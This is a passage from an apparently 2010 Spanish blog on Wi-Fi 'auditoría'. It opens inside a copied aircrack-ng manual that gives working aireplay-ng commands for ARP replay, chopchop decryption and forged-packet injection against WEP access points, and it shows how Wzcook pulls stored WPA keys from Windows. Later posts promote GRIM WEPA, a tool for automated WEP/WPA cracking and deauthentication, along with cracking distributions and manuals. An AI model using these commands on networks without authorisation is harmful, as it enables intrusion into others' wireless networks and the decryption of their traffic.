aireplay-ng -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B ath0

aireplay-ng -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B ath0

Otra buena idea es capturar una cierta cantidad de trafico y echarle un ojo con ethereal. Si creemos al examinar el trafico que hay dos paquetes que parecen una petición y una respuesta (Un cliente envía un paquete y poco después el destinatario responde a este) entonces es una buena idea intentar reinyectar el paquete petición para obtener paquetes respuestas

Ataque 3: Reinyección de petición ARP

El clásico ataque de reinyección de petición ARP es el mas efectivo para generar nuevos IVs, y funciona de forma muy eficaz. Necesitas o bien la dirección MAC de un cliente asociado (00:09:5B:EB:C5:2B), o bien la de un cliente falso del ataque 1 (00:11:22:33:44:55). Puede que tengas que esperar un par de minutos, o incluso más, hasta que aparezca una petición ARP; este ataque fallará si no hay tráfico.

Por favor, fíjate en que también puedes reutilizar una petición ARP de una captura anterior usando el interruptor -r .

aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets...

El "chopchop" de KoreK (predicción de CRC)

Este ataque, cuando es exitoso, puede desencriptar un paquete de datos WEP sin conocer la clave. Incluso puede funcionar con WEP dinámica. Este ataque no recupera la clave WEP en sí misma, sino que revela meramente el texto plano. De cualquier modo, la mayoría de los puntos de acceso no son en absoluto vulnerables. Algunos pueden en principio parecer vulnerables pero en realidad tiran los paquetes menores de 60 bytes. Si el AP tira paquetes menores de 42 bytes aireplay trata de adivinar el resto de la información que le falta, tan pronto como el encabezado se predecible. Si un paquete IP es capturado automáticamente busca el checksum del encabezado
después de haber adivinado las partes que le faltaban. Este ataque requiere como mínimo un paquete WEP (encriptado).

1. Primero, desencriptemos un paquete:

aireplay-ng -4 ath0

Si esto falla, es debido a que hay veces que el AP tira la información porque no sabe de que dirección MAC proviene. En estos casos debemos usar la dirección MAC de un cliente que este conectado y que tenga permiso (filtrado MAC activado).

aireplay-ng -4 -h 00:09:5B:EB:C5:2B ath0

2. Echemos un vistazo a la dirección IP:

tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
reading from file replay_dec-0627-022301.cap, link-type [...]
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

3. Ahora, forjemos una petición ARP.

La IP inicial no importa (192.168.1.100), pero la Ip de destino (192.168.1.2) debe responder a peticiones ARP. La dirección MAC inicial debe corresponder a una estación asociada.

arpforge-ng replay_dec-0627-022301.xor 1 00:13:10:30:24:9C 00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap

4. Y reenviemos nuestra petición ARP forjada:

aireplay-ng -2 -r arp.cap ath0

Airdecap-ng
Sirve para desencriptar los paquetes capturados una vez obtenida la clave ya sea WEP o WPA

airdecap-ng [opciones] <archivo pcap>

Ejemplos:

airdecap-ng -b 00:09:5B:10:BC:5A open-network.cap
airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap
airdecap-ng -e 'the ssid' -p passphrase tkip.cap

Wzcook
Sirve para recuperar las claves WEP de la utilidad de XP Wireless Zero Configuration. Éste es un software experimental, por lo que puede que funcione y puede que no, dependiendo del nivel de service pack que tengas.
WZCOOK mostrará el PMK (Pairwise Master Key), un valor de 256-bit que es el resultado de codificar 8192 veces la contraseña junto con el ESSID y la longitud del ESSID. La contraseña en sí no se puede recuperar -- de todos modos, basta con conocer el PMK para conectar con una red inalámbrica protegida mediante WPA con wpa_supplicant (ver el Windows README). Tu archivo de configuración wpa_supplicant.conf debería quedar así:

network={
ssid="my_essid"
pmk=5c9597f3c8245907ea71a89d[...]9d39d08e

Si no usas WZC pero usas la utilidad USR, accede al registro:

HKey_Current_User/Software/ACXPROFILE/profilename/dot11WEPDefaultKey1

Cada versión y actualización incorpora una serie de mejoras y de diferencias de argumentos, para cualquier duda acceder a: Nueva Generación Wireless

Fuente: http://www.seguridadwireless.net/hwagm/manual-aircrack-ng-castellano.html

GRIM WEPA. Software de Auditoria en redes Inalambricas, para crackear redes con encriptación WEP y WPA. Desarrollado en JAVA

2010-12-03T19:28:00.000-08:00

GRIM WEPA V1.10

GRIM WEPA es un software de auditoria de redes inalámbricas que cuentan con encriptación WEP y WPA, este software está desarrollado e JAVA, para ser ejecutado únicamente en el Sistema Operativo Linux. Este programa utiliza las siguientes aplicaciones y suites:

· Suite aircrack-ng:

o aircrack-ng, para romper claves WPA y WEP;

o airodump-ng, para capturar los paquetes y encontrar puntos de acceso;

o airmon-ng, para enumerar los dispositivos en modo monitor;

o aireplay-ng, para forjar y paquetes de reproducción;

o y packetforge-ng, para crear paquetes de reproducción.

· Iwconfig, para ver si los dispositivos están en modo monitor;

· xterm, para mostrar el resultado de salida para el usuario;

· ifconfig, para obtener la dirección MAC de los dispositivos;

· macchanger,para cambiar la dirección MAC de las tarjetas wifi.

Estas aplicaciones son las que requiere GRIM WEPA para que se ejecute correctamente. Todas estas aplicaciones as podemos encontrar en Backtrack 4 y en wifiWay 2.

Los métodos de cracking GRIM WEPA son muy conocidos y han existido por años. Simplemente utiliza los métodos existentes.

OPCIONES

GRIM WEPA tiene dos opciones: Crack puntos de acceso con cifrado WEP y el crack puntos de acceso cifrado WPA. El programa puede buscar nuevos objetivos, y auto- selecciona el método de craqueo. Las opciones para cada método son las siguientes:

Los ataques hacia Access point con cifrado WEP:

· ARP-Replay ataque

· Ataque Chop-chop

· Ataque de fragmentación

· p0841 ataque

· Café-Latte ataque

· Opciones de Cracking:

o aircrack-ng es capaz de romper casi cualquier contraseña WEP después de cerca de 20.000 IV (vector de inicialización) paquetes de datos capturados.

Los ataques hacia Access point con cifrado WPA:

· Ataque básico desautorización para obtener handshake.

· Cracking :

o GRIM WEPA incluye una lista predeterminada contraseña de 2 MB que contiene alrededor de 250.000 contraseñas de uso común.

o Lista de palabras / Diccionario / ataque de fuerza bruta: En la actualidad, sólo hay un método que es por la fuerza bruta. aircrack-ng puede testear cientos de contraseñas por segundo, así que este método no es tan arbitrario como se ha propuesto.

Página web: http://code.google.com/p/grimwepa/

Código fuente: http://code.google.com/p/grimwepa/downloads/list

Descargar:	grimwepa1.10a6.jar 319 KB
Descripción:
SHA1 Checksum:	f83fae057f3d54c452276647765f6a420a023254

Estos son dos videos para ver cómo funciona GRIM WEPA con WEP y WPA:

Este es wep: http://www.youtube.com/watch?v=7RSZP0zAAJE

Este es wpa: http://www.youtube.com/watch?v=3GdorNVFv6U

Instalar WifiWay 2 en una USB

2010-11-27T19:08:00.000-08:00

wifiWay es una genial distribucion para la auditoria de seguridad y relacionada con la seguridad informática en general (distribución en idioma Español), la precente publicación muestra como instalar WifiWay 2 en una memoria usb, para el presente ejemplo utilizamos versión de UNebootin para linux, pero tambien UD. puede usar la versión de UNebootin para Windows. Con los siguientes pasos podran instalar WifiWay 2 a su memoria (pendrive) usb y utilizarla en cualquier laptop o computadora que permita inciar unidades usb.

Requisitos:

Descargar la version de WifiWay 2 aqui la imagen .iso.
Una memoria usb de minimo 512 MB
UnetBootin, puede ser tanto en GNU/linux como en Windows

Ya que tengamos todo esto listo tenemos que insertar nuestra usb y abrir el Unetbootin, si no nos deja ejecutarlo tenemos que darle permisos de ejecucion, con la terminal:

chmod +x unetbootin-linux-377

o podemos darle click derecho > Propiedades > Permisos y seleccionamos Permitir ejecutar el archivo como un programa.

Ahora solo damos click en aceptar y empezaran a copiarse WifiWay a nuestra usb y estara lista para iniciarse sin necesidad de un CD o DVD.
Enlaces:

Instalar BackTrack 4 r2 en una USB

2010-11-27T18:37:00.000-08:00

Requisitos:

Descargar la version de Backtrack r2 aqui la imagen .iso y aqui el .torrent pesa 2000 MB y se baja mas rapido por torrent.

Una memoria usb de minimo 4 GB
UnetBootin, puede ser tanto en GNU/linux como en Windows

Ya que tengamos todo esto listo tenemos que insertar nuestra usb y abrir el Unetbootin, si no nos deja ejecutarlo tenemos que darle permisos de ejecucion, con la terminal:

chmod +x unetbootin-linux-377

o podemos darle click derecho > Propiedades > Permisos y seleccionamos Permitir ejecutar el archivo como un programa.

Ahora solo damos click en aceptar y empezaran a copiarse Backtrack a nuestra usb y estara lista para iniciarse sin necesidad de un CD o DVD.
Enlaces:

Software de Auditoria Wireless BackTrack 4 R2 Publicado

2010-11-23T04:38:00.000-08:00

BackTrack 4 R2 Lanzado

Está disponible la nueva versión nombre en clave ‘Nemesis’ de la distribución GNU/Linux pensada y enfocada a la auditoría y seguridad informática con especialización en test de penetración. Una distribución cada vez más rápida y potente, compatible con más hardware, incluyendo nuevo kernel, mayor número de parches de inyección inalámbricos aplicados y avances como el soporte para el puerto USB 3.0. BackTrack 4 R2 está disponible en imagen para instalación/Live o para uso con WMWare.

Nueva versión de la distro de seguridad y auditoría BackTrack que se está convirtiendo en una de las herramientas imprescindibles del sector para usuarios y también a niveles más profesionales. Incluye escáneres de puertos, archivos de exploits, sniffers, análisis forense y como no auditoría wireless.

BackTrack 4 R2 Released!

La nueva versión incluye Kernel Linux 2.6.35.8, nuevas tarjetas inalámbricas compatibles, parches de inyección aplicados, Metasploit reconstruido desde cero, soporte para puertos USB 3.0 o nuevo Wiki con mayor documentación y soporte.

BackTrack 4 R2 está disponible en descarga directa o en la red de intercambio BitTorrent con una .iso para instalar o utilizar en formato Live y una imagen para uso con WMware.

* Kernel 2.6.35.8
* Soporte USB 3.0
* Soporte para nuevas placas wireless.
* Actualización y agregado de paquetes.

Fuente

http://muycomputer.com/Actualidad/Noticias/BackTrack-4-R2-disponible/_wE9ERk2XxDBjyMAr5mgSv38V8QzewmigavxlkkOMI8E0ZhIB_oBooNmJw_1umOjm

Link Download:

http://ftp.uio.no/pub/security/backtrack/bt4-r2.iso

ROMPIENDO CLAVES WEP

2010-11-22T19:19:00.000-08:00

Antes de iniciar el procedimiento para romper una clave WEP voy a explicar un poco el sistema de conexión a una red inalámbrica para que ampliemos un poco más el panorama de las técnicas de rompimiento de claves inalámbricas
Descargar Documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LYWQ4ZjliMWItZGU3ZC00NjI2LTk0NDYtNjQ0OTk2Zjc2YWIx&hl=es

COMO FABRICAR UNA ANTENA BIQUAD

2010-11-22T05:51:00.000-08:00

Con este manual Ud. Podrá construir una antena WiFi casera Biquad, la cual le permitirá cubrir mayor distancia, sea cual sea el modelo y marca de la Tarjeta WiFi que esté utilizando.
Descargar Documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LNWViOTRiZTItZGUwZC00NzY0LThlNDAtYjJmZjc5ZGU0ZjU0&hl=es

MANUAL DE INSTALACIÓN DE LINUX WIFISLAX EN VMWARE SOBRE WINDOWS VISTA

2010-11-22T05:34:00.000-08:00

Este manual ha sido escrito con la intención de hacer correr Linux WifiSlax 3.1 dentro de Windows Vista Ultimate sin la necesidad de escribir ningún script
Descargar Documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LMjNlNzVjZTUtNTUyZS00YjVlLTlkZjUtOTQwMGYxOGI2NDVi&hl=es

Manual Práctico de Cracking Inalámbrico

2010-11-22T05:27:00.000-08:00

Este es un manual simple y práctico para la gente que desea aprender un poco más de los distintos tipos de seguridad que existe y de las vulnerabilidades que estas redes inalámbricas podrían tener
Descargar Documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LZDNjOWY1NTctNTg5Ny00ZWFlLTkwYWEtZGVlYWEwZmQ5MGIz&hl=es&authkey=CPaq-ucD

Crackeo de Encriptación WEP y WPA

2010-11-21T19:23:00.000-08:00

Aquí les brindo un pequeño manual, con el cual UD. podrá detectar las vulnerabilidades de su red inalámbrica
Descarga Documento:
Descargar Documento: https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LOTY3YzdkNzgtNDAzYy00Y2IyLTlkZGQtODE3NGExZGIwNGE5&hl=es